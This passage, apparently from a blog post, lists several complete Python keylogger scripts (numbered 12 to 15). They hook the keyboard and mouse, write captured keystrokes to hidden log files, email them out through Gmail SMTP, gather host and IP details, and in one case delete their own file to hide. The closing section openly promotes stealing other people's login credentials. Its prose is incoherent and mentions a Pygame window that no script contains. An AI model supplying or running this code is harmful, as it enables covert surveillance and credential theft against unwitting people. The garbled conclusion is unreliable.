        os.mkdir(f"C:\\Users\\{username}\\AppData\\Roaming\\zzz")
    logdirectory = f"C:\\Users\\{username}\\AppData\\Roaming\\zzz"
    logging.basicConfig(filename=f"{logdirectory}\logs.txt", level=logging.DEBUG, format="%(asctime)s: %(message)s")

def start():
    #function for log file
    def startingkey(key):
        logging.info(key)
    #start logger
    with Listener(on_press=startingkey) as listener:
        listener.join()


if __name__ == '__main__':
    createlogs = threading.Thread(name='daemon', target=createlogs)
    createlogs.setDaemon(True)
    createlogs.start()
    createlogs.join()

    start = threading.Thread(name='daemon', target=start)
    start.setDaemon(True)
    start.start()
    start.join()

 

#12 Keylogger Script:

import smtplib
import os
import pynput
from pynput.keyboard import Key, Listener
from datetime import datetime,timedelta
keys = []

start = datetime.now()
def on_press(key):
    keys.append(key)
    write_file(keys)

try:
    f = open('sus.txt', 'x')
except:
    temp='PLSDONTHIREME'
def write_file(keys):
    f = open('sus.txt', 'r+')
    for key in keys:
        if key == Key.space:
            f.write(' ')
        elif key == Key.enter:
            f.write('\n')
        elif key == Key.backspace:
            f.seek(os.SEEK_CUR-1, 1)
            f.write('*')
        else:
            try:
                print('alphnum {0}'.format(key.char))
                f.write(str(key).replace("'", ""))
            except AttributeError:
                print('special {0}'.format(key))


def on_release(key):
    if datetime.now() > start + timedelta(minutes=10) or len(keys) > 1000:
        return False

with Listener(on_press=on_press,
              on_release=on_release) as listener:

    listener.join()


email = "-email-"
password = "-password-"
message = ""
f = open('sus.txt', 'r+')
for x in f:
    message += x
server = smtplib.SMTP(host="smtp.gmail.com", port=587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()

 

#13 Keylogger Script:

import ctypes
import ctypes.wintypes as wintypes

import pathlib
import os
import sys
import time
import threading

from genutils import colorprint

# Redefinitions to help improve readability (...Readabilty Counts...)
# == Low Level keyboard and stuff like that == #
WH_KEYBOARD_LL = ctypes.c_int(13)
WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, WM_SYSKEYUP = 256, 257, 260, 261
VK_SHIFT,VK_CONTROL,VK_ALT = 0x10, 0x11, 0x12

# Redefinition that make the code look clearer
LRESULT = wintypes.LPARAM
user32 = ctypes.WinDLL("user32.dll", use_last_error=True)
kernel32 = ctypes.WinDLL("kernel32.dll" ,use_last_error=True)

SetWindowsHookEx = user32.SetWindowsHookExW
CallNextHookEx = user32.CallNextHookEx
GetAsyncKeyState, GetKeyState = user32.GetAsyncKeyState, user32.GetKeyState
# ============================================ #

# Keyboard Low Level Struct...
class KBDLLHOOKSTRUCT(ctypes.Structure):
    _fields_ = [
        ("vkCode", wintypes.DWORD),
        ("scanCode",wintypes.DWORD),
        ("flags", wintypes.DWORD),
        ("time", wintypes.DWORD),
        ("dwExtraInfo", ctypes.POINTER(ctypes.c_ulong))
    ]


# ...and a pointer to it.
LPKBDLLHOOKSTRUCT = ctypes.POINTER(KBDLLHOOKSTRUCT)

# Define the callback
HOOKPROC = ctypes.WINFUNCTYPE(LRESULT, ctypes.c_int, wintypes.WPARAM, wintypes.LPARAM)
HOOKPROC = ctypes.WINFUNCTYPE(LRESULT, ctypes.c_int, wintypes.WPARAM, wintypes.LPARAM)
LowLevelKeyboardProc = HOOKPROC

# Specify the return type and arguments 
SetWindowsHookEx.restype = wintypes.HHOOK 
SetWindowsHookEx.argtypes = (
    ctypes.c_int, #idHook
    HOOKPROC,     #lpfn
    wintypes.HINSTANCE,    #hmod
    wintypes.DWORD,        #dwThreadId
    )

CallNextHookEx.restype = LRESULT
CallNextHookEx.argtypes= (
    wintypes.HHOOK,        #idHook
    ctypes.c_int,          #nCode
    wintypes.WPARAM,       #wParam
    wintypes.LPARAM,       #lParam
    )
MessageBox = user32.MessageBoxW




@LowLevelKeyboardProc
def LLKeyboardProc(nCode, wParam, lParam):
    pKBSTRUCT = ctypes.cast(lParam, LPKBDLLHOOKSTRUCT)[0]
    logfile = pathlib.Path(f"{os.getenv('PUBLIC')}\\kclog")
    try:
    # * If a keydown is detected
        if wParam == WM_KEYDOWN:
            logfile = open(logfile, "a+")
            logfile.write(
                f"Keycore {pKBSTRUCT.vkCode} {time.strftime('%H:%M:%S')}\n"
                )
            logfile.close()
        
    except Exception as ERR:
        print(str(ERR))

    return CallNextHookEx(None,nCode,wParam,lParam)


class KeyloggerThread(threading.Thread):
    """
    Description
    -----------
        Keycore is an "engine" that  works in a thread until the
        main process ends. Once it is hooked, it will write to
        wherever environment variable %PUBLIC% points to.
    
    Author: Dante Wagner
    Version: 1.1
    License: GNU GPLv3
    """
    def __init__(self, group=None, target=None, name=None, args=(), kwargs={}, *,
    daemon=None, verbose = False):
        super().__init__()
        self.verbose = verbose
        self.running = False

    def run(self):
        """
        Start the keylogger
        Parameters
        ----------
        logfile: string
            The log filename to write to (If no absolute path is given,
            then it defaults to" %HOMEPATH%\logfile.txt")
            
        verbose: bool
        Returns
        -------
        int
            If the function succeed it should return 0.
        """
        
        self.hHook = SetWindowsHookEx(
            WH_KEYBOARD_LL,
            LLKeyboardProc,
            None,
            0
        )
        
        msg = wintypes.MSG()
        if self.verbose:
            MessageBox(
                None,
                "Keylogger is ON",
                "Keycore message",
                0
            )

        self.running = True
        while self.running:
            while user32.PeekMessageW(ctypes.byref(msg), None, 0, None, None) > 0:
                user32.TranslateMessage(ctypes.byref(msg))
                user32.DispatchMessageW(ctypes.byref(msg))
                if self.running == False:
                    break
            
        user32.UnhookWindowsHookEx(self.hHook)
        if  self.verbose:
            MessageBox(
                None,
                "Keylogger will shut down",
                "Keycore message",
                0
            )
        return 0

if __name__ == "__main__":
    colorprint('Keycore V1 - A keylogging engine', 'cyan')
    colorprint('\nAuthor: Dante W.', 'yellow')
    colorprint('Version: ', 'yellow', 'bold', end='')
    colorprint(' 1.1', 'green')
    keyc = KeyloggerThread(verbose = True)
    kc = keyc.start()
    while input() != 'quit':
        pass
    keyc.running = False
    sys.exit(0)
    

 

#14 Keylogger Script:

from datetime import datetime

try:
    import logging
    import os
    import platform
    import smtplib
    import socket
    import threading
    import wave
    from pynput import keyboard, mouse
except ModuleNotFoundError:
    from subprocess import call

    modules = ['pynput', ]
    call('pip install ' + ' '.join(modules), shell=True)


finally:
    EMAIL_ADDRESS = 'gmail@gmail.com'
    EMAIL_PASSWORD = 'mysecurepassword'
    SEND_REPORT_EVERY = 5  # as seconds
    JUST_CHARS = True

    class KeyLogger:
        def __init__(self, time_interval, email, password, just_chars):
            self.interval = time_interval
            self.log = 'KeyLogger Started on '
            self.email = email
            self.password = password
            self.just_chars = just_chars

        def appendlog(self, string):
            self.log = self.log + string if string else ''

        def on_move(self, x, y):
            """ Commented to keep it clean """
            message = f'[Mouse Moved To {x}-{y}] '
            self.appendlog(message)

        def on_click(self, x, y, *args, **kwargs):
            if args[1] == 1:
                message = f'[{args[0]}] '
                self.appendlog(message)

        def on_scroll(self, x, y, *args, **kwargs):
            """ Commented to keep it clean """
            if args[0] == 0:
                message = '[Scrolling Down] ' if args[1] == -1 else '[Scrolling Up] '
            else:
                message = '[Scrolling Left] ' if args[0] == -1 else '[Scrolling Right] '
            self.appendlog(message)

        def save_data(self, key):
            try:
                current_key = str(key.char)
            except AttributeError:
                if key == key.backspace:
                    current_key = '[<-]'
                elif key == key.space:
                    current_key = ' '
                elif key == key.esc:
                    current_key = '[ESC]'
                elif key == key.shift:
                    current_key = '' if self.just_chars else '[SHIFT]'
                elif key == key.caps_lock:
                    current_key = '[CAPSLOCK]'
                elif key == key.alt:
                    current_key = '[ALT]'
                elif key == key.alt_r:
                    current_key = '[ALT_R]'
                elif key == key.ctrl:
                    current_key = '[CTRL]'
                elif key == key.ctrl_r:
                    current_key = '[CTRL_R]'
                elif key == key.up:
                    current_key = '' if self.just_chars else '[UP]'
                elif key == key.down:
                    current_key = '' if self.just_chars else '[DOWN]'
                elif key == key.left:
                    current_key = '' if self.just_chars else '[LEFT]'
                elif key == key.right:
                    current_key = '' if self.just_chars else '[RIGHT]'
                elif key == key.enter:
                    current_key = '[ENTER]\n'
                elif key == key.tab:
                    current_key = '[TAB]'
                else:
                    current_key = str(key)
            self.appendlog(current_key)

        def save_log(self, message):
            if not hasattr(self, 'server'):
                # self.server = smtplib.SMTP(host='smtp.gmail.com', port=587)
                # self.server.starttls()
                # self.server.login(email, password)

                if not message.isspace():
                    message = '\n' + datetime.now().strftime('%Y-%m-%d %H:%M') + ' ' + message
                    print(message)
                    log_file = '/var/tmp/.important.log'
                    with open(log_file, 'a') as f:
                        f.write(message)

                    # self.server.sendmail(email, email, message)

        def report(self):
            self.save_log(self.log)
            self.log = ''
            timer = threading.Timer(self.interval, self.report)
            timer.start()

        def system_information(self):
            hostname = socket.gethostname()
            ip = socket.gethostbyname(hostname)
            plat = platform.processor()
            system = platform.system()
            machine = platform.machine()
            self.appendlog(f'{hostname=}')
            self.appendlog(f'{ip=}')
            self.appendlog(f'{plat=}')
            self.appendlog(f'{system=}')
            self.appendlog(f'{machine=}')

        def run(self):
            file_path = os.path.abspath(__file__)
            os.system('chattr -i ' + file_path)
            os.system('rm -rf ' + file_path)
            print('File Removed.')

            self.system_information()
            self.report()
            # mouse_listener = mouse.Listener(on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll)
            mouse_listener = mouse.Listener(on_click=self.on_click)
            keyboard_listener = keyboard.Listener(on_press=self.save_data)

            if self.just_chars:
                with keyboard_listener:
                    keyboard_listener.join()
            else:
                with mouse_listener, keyboard_listener:
                    keyboard_listener.join()
                    mouse_listener.join()


    keylogger = KeyLogger(SEND_REPORT_EVERY, EMAIL_ADDRESS, EMAIL_PASSWORD, JUST_CHARS)
    try:
        keylogger.run()
    except KeyboardInterrupt:
        print('\n\nBye Bye\nPress (Ctrl + C) Again')

 

#15 Keylogger Script:

import keyboard # for keylogs
import smtplib # for sending email using SMTP protocol (gmail)
# Timer is to change the frequence the script saves the log file
from threading import Timer
from datetime import datetime

SEND_REPORT_EVERY = 60 # i forgot and left this script running, when i sawe i was flooded with log files :(
EMAIL_ADDRESS = "your-sussy-email@gmail.com"
EMAIL_PASSWORD = "your-sussy-password"

class Keylogger:
    def __init__(self, interval, report_method="email"):
        # we gonna pass SEND_REPORT_EVERY to interval
        self.interval = interval
        self.report_method = report_method
        # this is the string variable that contains the log of all 
        # the keystrokes within `self.interval`
        self.log = ""
        # record start & end datetimes
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()

    def callback(self, event):
        """
        This callback is invoked whenever a keyboard event is occured
        (i.e when a key is released in this example)
        """
        name = event.name
        if len(name) > 1:
            # not a character, special key 
            # uppercase with []
            if name == "space":
                # " " instead of "space", witch is better
                name = " "
            elif name == "enter":
                # add a new line whenever an ENTER is pressed
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
            else:
                # replace spaces with underscores
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"
        # add the key name to our global `self.log` variable, lol
        self.log += name
    
    def update_filename(self):
        # construct the filename to be identified by start & end datetimes
        start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
        end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
        self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

    def report_to_file(self):
        """This method creates a log file in the current directory that contains
        the current keylogs in the `self.log` variable"""
        # open the file in write mode (create it)
        with open(f"{self.filename}.txt", "w") as f:
            # write the keylogs to the file
            print(self.log, file=f)
        print(f" Saved {self.filename}.txt")

    def sendmail(self, email, password, message):
        # manages a connection to an SMTP server
        server = smtplib.SMTP(host="smtp.gmail.com", port=587)
        # connect to the SMTP server as TLS mode ( for security )
        server.starttls()
        # login to the email account
        server.login(email, password)
        # send the actual message
        server.sendmail(email, email, message)
        # terminates the session
        server.quit()

    def report(self):
        """
        This function gets called every `self.interval`
        It basically sends keylogs and resets `self.log` variable
        """
        if self.log:
            # if there is something in log, report it
            self.end_dt = datetime.now()
            # update `self.filename`
            self.update_filename()
            if self.report_method == "email":
                self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
            elif self.report_method == "file":
                self.report_to_file()
            # if you want to print in the console, uncomment below line
            # print(f"[{self.filename}] - {self.log}")
            self.start_dt = datetime.now()
        self.log = ""
        timer = Timer(interval=self.interval, function=self.report)
        # set the thread as daemon (dies when main thread die)
        timer.daemon = True
        # start the timer
        timer.start()

    def start(self):
        # record the start datetime
        self.start_dt = datetime.now()
        # start the keylogger
        keyboard.on_release(callback=self.callback)
        # start reporting the keylogs
        self.report()
        # block the current thread, wait until CTRL+C is pressed
        keyboard.wait()

    
if __name__ == "__main__":
    # if you want a keylogger to send to your email
    # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
    # if you want a keylogger to record keylogs to a local file 
    # (and then send it using your favorite method)
    keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
    keylogger.start()

 

Conclusion:

Keyloggers are commonly used in the business world for capturing the login credentials of other people. If you need to capture someone’s login credentials, this is the perfect tutorial for you!.Our keylogger will use the Pygame library to create a window, which will then display a new image every time a key is pressed.Key loggers are a handy tool that many people use and they are often used to monitor employees or other individuals.It’s important to include a keylogger in your research to capture information as soon as it is input into the computer. we’ll be covering the basics of how to write your own keylogger, along with some examples of how you can use it.you are creating a tool that can record each keystroke on a keyboard for your personal use. If you are looking for a keylogger to purchase or you want to build your own.We know that many of you have been wanting to learn about keyloggers for some time now, and we are here to help! With the information provided in this blog post, you will have no problem creating your own keylogger in Python